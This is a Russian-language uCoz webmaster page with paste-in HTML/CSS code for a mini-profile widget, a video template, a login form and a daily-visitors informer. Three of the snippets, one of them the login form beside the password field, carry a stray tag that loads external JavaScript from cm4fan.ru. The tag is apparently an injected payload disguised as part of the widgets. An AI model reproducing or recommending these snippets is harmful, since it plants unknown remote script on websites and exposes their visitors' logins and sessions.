Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » 2012 » Октябрь » 28
Красивый и удобный,а главное функциональный мини-профиль на ваш сайт
Установка:
В новый блок вставляем данный код:
Code
<link type="text/css" rel="StyleSheet" href="http://webo4ka.ru/Ucoz3/mini_profil_kra/famMiniProfStyleJqEd.css"> <script type="text/javascript" src="http://webo4ka.ru/Ucoz3/mini_profil_kra/famMiniProfFunctionJqEd.js"></script> <div class="container"> <ul class="tabs"> <li><a href="#famInfo">Инфо</a></li> <li><a href="#famAdd">Добавить</a></li> </ul> <div class="tab_container"> <div id="famInfo" class="tab_content"> <table style="width: 100%;" align="center"><tbody><tr><td colspan="2" class="minipTdPic">Првет, <span style="font-weight:700;">$USERNAME$</span></td></tr><tr><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><td rowspan="5" class="minipTdUnColored"> <img alt="Avatar" src="$USER_AVATAR_URL$"><img alt="noAvatar" src="http://webo4ka.ru/Ucoz3/mini_profil_kra/noAvatar.gif"></td><td class="minipTdPic"><a href="$PERSONAL_PAGE_LINK$"> <img alt="Мой профиль" src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfAcc.png" title="Мой профиль" border="0"></a></td></tr><tr><td class="minipTdPic"> <a href="javascript:openonclick('options')"><img alt="" src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfEdit.png" title="Редактировать профиль" border="0"></a></td></tr><tr><td class="minipTdPic"><a href="javascript:openonclick('mail')"> <img alt="" src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfYesPm.png" title="У вас есть новые сообщения" border="0"></a><a href="javascript:openonclick('mail')"> <img alt="" src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfNoPM.png" border="0" title="Нет новых сообщений"></a></td></tr> <tr><td class="minipTdPic"><a href="$LOGOUT_LINK$"><img alt="" src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfLogout.png" title="Выход" border="0"></a></td></tr></tbody></table><table style="width: 100%;" align="center"><tbody><tr><td class="minipTdPic"> <a href="javascript:openonclick('users')"><img alt="" src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfileUserList.png" title="Список пользователей" border="0"></a></td> <td class="minipTdPic"><a href="#" onclick="openchat();"><img alt="Мини-чат" src="http://famiosoft.ru/imgArchive/miniProfileMiniChat.png" title="Мини-чат" border="0"></a></td><td class="minipTdPic"> <a href="javascript: void(0)" onclick="window.open('http://famiosoft.ru/fileArchiv/onlineRadio.html', 'onlineRadio', 'width=600, height=480');return false;"> <img alt="Онлайн радио" src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfRadio.png" title="Онлайн радио" border="0"></a></td><td class="minipTdPic"><a href="#" onclick="openpoll();"> <img alt="Опрос" src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfilePoll.png" title="Опрос" border="0"></a></td></tr></tbody></table> <div style="display: none;" id="chat">$CHAT_BOX$</div> <div style="display: none;" id="poll">$POLL$</div><table style="width: 100%; border-collapse:collapse;" align="center"><tbody><tr><td colspan="2" class="minipTdPic"> Привет, <b>Гость</b><br><font color="#ff0000"><a href="$REGISTER_LINK$">Зарегистрируйтесь</a> или <a href="$LOGIN_LINK$">авторизуйтесь</a> и получите все приемущества сайта.</font><br> $LOG_FORM$</td></tr></tbody></table> </div><div id="famAdd" class="tab_content"> <table style="width: 100%; margin-top: 1px; margin-bottom: 1px;"><tbody><tr><td class="minipTdPic"><img src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfNews.png" border="0"></td> <td class="minipTdUnColored"><a class="textDec" href="$HOME_PAGE_LINK$/news/0-0-0-0-1">Добавить новость</a></td></tr> <tr><td class="minipTdPic"><img src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfFile.png" border="0"></td><td class="minipTdUnColored"><a class="textDec" href="$HOME_PAGE_LINK$/load/0-0-0-0-1">Добавить файл</a></td></tr> <tr><td class="minipTdPic"><img src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfImage.png" border="0"></td><td class="minipTdUnColored"> <a class="textDec" href="$HOME_PAGE_LINK$/photo/0-0-0-1">Добавить картинку</a></td></tr><tr><td class="minipTdPic"> <img src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfBlogEntry.png" border="0"></td><td class="minipTdUnColored"><a class="textDec" href="$HOME_PAGE_LINK$/blog/0-0-0-0-1">Добавить в блог</a></td></tr><tr><td class="minipTdPic"> <img src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfArticle.png" border="0"></td><td class="minipTdUnColored"><a class="textDec" href="$HOME_PAGE_LINK$/publ/0-0-0-0-1">Добавить статью</a></td></tr><tr><td class="minipTdPic"> <img src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfWebsite.png" border="0"></td><td class="minipTdUnColored"><a class="textDec" href="$HOME_PAGE_LINK$/dir/0-0-0-0-1">Добавить сайт</a></td></tr><tr><td colspan="1" class="minipTdPic"> <img src="http://webo4ka.ru/Ucoz3/mini_profil_kra/miniProfAdvert.png" border="0"></td><td colspan="1" class="minipTdUnColored"><a class="textDec" href="$HOME_PAGE_LINK$/board/0-0-0-0-1">Добавить объявление</a></td></tr></tbody></table> </div></div></div> <script type="text/javascript"> function openonclick(client_type){if(client_type=="mail")clientWindow=window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,h eight=350") ||alert("Отключите блокировку всплывающих окон!");if(client_type=="options")clientWindow=window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350")||alert("Отключите блокировку всплывающих окон!") ;if(client_type=="users")clientWindow=window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350")||a lert("Отключите блокировку всплывающих окон!")} </script>
Здравствуйте! На этот раз на свет выходит "Уникальный вид материалов модуля Видео для uCoz". Выполнен макет в светлых тонах, а точнее в бело-зеленых цветах.
Автором дизайна является ak_Jadniy, а верстка и адаптация z1MO_ok. Главной особенностью является место под скриншот вашего видеоматериала - это вид планшета Ipad.
Демонстрацию "Уникального вида материалов видео для uCoz" вы сможете по данной ссылке.
В комплект входит: PSD макет вида материалов и адаптация под систему uCoz
Приятного использования! При копировании данного материала указывайте источник и авторов. Уважайте чужой труд!
* Установка скрипта:
1) Загрузите данный архив.==> narod.ru/disk/62872319001.6204677dea2c15a63a5dde5c86ece732/vid.zip.html
2) Загрузите папку "img" в свой файловый менеджер который находится в папке Адаптация под uCoz.
3) Из текстового документа "Вид материалов.txt" копируем код и вставляем в модуль Видео -> Вид материалов
4) Скопируйте код из документа "Таблица стилей.txt" и вставьте в самый низ "Таблицы стилей"
5) Установка завершена.
Современный и симпатичный дизайн для формы входа ucoz, а также для мини профиля. Скрипт формы входа использует красивую кнопку "Вход". Мини-профиль сделан в стиле минимализма. Скрипт впишется под любой дизайн.
Установка:
1. Переходим в ПУ -> Глобальные блоки, тут выбираем контейнер, где хотим видеть данный скрипт, создаем там "новый блок" и вставляем туда следующий
Code
<div class="miniprofUDS"> <div class="miniprofname" align="center"> Добро пожаловать, <b>$USERNAME$</b>!</div> <div class="miniprofimage"> <a href="#"><img src="$USER_AVATAR_URL$http://ili.pp.ua/img/comm_added_no_av.png" style="border:0px; "/></a> </div> <div class="miniprofinfo"> <a class="miniprofinfo" href="/index/8">Мой профиль</a><br> <a class="miniprofinfo" href="/index/14">Мои сообщения <span>($UNREAD_PM$)</span></a><br> <a class="miniprofinfo" href="/index/11">Мои настройки</a><br> <a class="miniprofinfo" href="/index/10">Выход с сайта</a><br> </div></div> $LOGIN_FORM$
2. Также название блока можно изменить на:
Code
[/code] 3. Далее переходим в Таблицу стилей CSS и добавляем: [code].miniprofimage a img {opacity:0.6; -moz-opacity:0.6; filter:alpha(opacity=70);} .miniprofimage a:hover img {opacity:1.0; -moz-opacity:1.0; filter:alpha(opacity=100);} .miniprofUDS {font-family:tahoma; overflow:hidden; padding-bottom:5px;} .miniprofimage {padding:4px 5px 4px 5px;float:left;} .miniprofimage img {border:2px solid #fff;border-radius:1px;width:52px;height:52px;} .miniprofname {color: #333; widht:90%;background:#f3fafd;border:1px solid #e1ebf0;margin-bottom:4px;padding:5px;} .miniprofinfo {padding-top:4px} .miniprofinfo a:link,.miniprofinfo a:visited,.miniprofinfo a:active {background:url('http://ili.pp.ua/img/miniprofimageurl.gif')no-repeat 3px 5px;text-decoration:none; color:#737474; padding:0px 5px 0px 10px;} .miniprofinfo a:hover {text-decoration:none; color:#939494;} .miniprofinfo span{font-weight: bold;} input#miniprofIN {vertical-align:middle; color:#666; font-size:11px; font-family:tahoma; border:1px solid #d5d7da; background:#fff; padding:3px 7px 3px 7px;} input#miniprofIN:active, input#miniprofIN:hover, input#miniprofIN:focus{outline:none; border:1px solid #bdbfc2;} div.input_submit {background:#2a3946 url("http://ili.pp.ua/img/highlight_faint.png") repeat-x 0 0px; border:1px solid #202c36; color:#fff; display:inline-block; padding:5px 10px; text-align:center; text-shadow:rgba(0,0,0,0.7) 0px 1px 0px; -moz-box-shadow:rgba(0,0,0,0.43) 0px 1px 0px;-webkit-box-shadow:rgba(0,0,0,0.43) 0px 1px 0px;box-shadow:rgba(0,0,0,0.43) 0px 1px 0px; -moz-border-radius:1px;-webkit-border-radius:1px;border-radius:1px;} div.input_submit:hover {background-color:#364959; color:#fff; cursor:pointer;} div.input_submit.alt {background:#758a9d url("http://ili.pp.ua/img/highlight_faint.png") repeat-x 0 0px; border:1px solid #61768a; color:#e6edf4; text-shadow:rgba(0,0,0,0.3) 0px 1px 0px} div.input_submit.alt:hover {background-color:#8197aa; color:#fff; cursor:pointer;}
4. Ну и последний шаг: переходим в П.У. - Дизайн - Управление дизайном - Форма входа пользователей и всё меняем на следующий код:
Code
<div class="miniprofname" align="center"> Введите ваш <b>логин</b> и <b>пароль</b>!</div> <div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><input id="miniprofIN" onFocus="if(value=='Логин...'){value='';}" onBlur="if(value=='') {value='Логин...';}" value="Логин..." type="text" name="user" value="" size="20" style="width:100%;" maxlength="50"/></div> <div style="margin-bottom:2px; margin-top:1px; color:#777;"></div> <div><input id="miniprofIN" onFocus="if(value=='Пароль...'){value='';}" onBlur="if(value=='') {value='Пароль...';}" value="Пароль..." class="loginField" type="password" name="password" size="20" style="width:100%" maxlength="15"/></div> <div style="display:none;"> <table border="0" cellspacing="1" cellpadding="0" width="90%"> <tr> <td nowrap><input id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label></td> <td align="right" valign="top"><input class="loginButton" id="EnterUser" name="sbm" type="submit" value="Вход"/></td> </tr> </table> </div> <div style="border:0px; border-top:1px solid #ccc; margin:5px; padding:5px;"> <div style="float:right;"><div class="input_submit alt" onclick="$('#EnterUser').click()" style="padding:5px 10px;"><b>Войти</b></div></div> <div><a href="$REMINDER_LINK$" style="color:#999; text-shadow:0px 1px 0px #fff;">Забыли пароль</a></div> <div><a href="/index/3" style="color:#999; text-shadow:0px 1px 0px #fff;">Регистрация</a></div> <div style="clear:both"></div> </div>
Интересный информер кто нас сегодня посетил не такая уж новинка, но не такой как были предыдущие виды, в настройках все так же само , только изменено оформление , теперь он в другом исполнении, выводит информацию о пользователях которые посетили саит за текущий день, так же показывается рядом с ником пользователя его пол в графической картинке , и еще показывает его страну маленьким шрифтом, все это видно скрине.
В установке код очень прост и его так же можно настроить в цветах и высоте шрифта.Если вы хотите как на скрине видеть и у себя цветами ники пользователей то эти все настройки делаются в таблице стилей по отношению ко всем группам пользователей.
Установка :
Создаем информер с такими настройками через панель управления:
[ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя · Колонки: 0 ]
Потом код ниже вставляем в информер:
Code
<font color="#a9a9a9">[</font><a href="$PROFILE_URL$" class="$CLASS$">$USERNAME$ <img border="0" src="http://ili.pp.ua/img/she_user.png" width="12" heigt="12"><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img border="0" src="http://ili.pp.ua/img/user.png" width="12" heigt="12"></a><font color="#222222"><span style="font-size: 6pt;">$COUNTRY_ID$</span></font><font color="#a9a9a9">] </font>
После того как сохраняем копируем код условный код информера и вставляем в контейнер в любой оформленный блок, все установка закончена.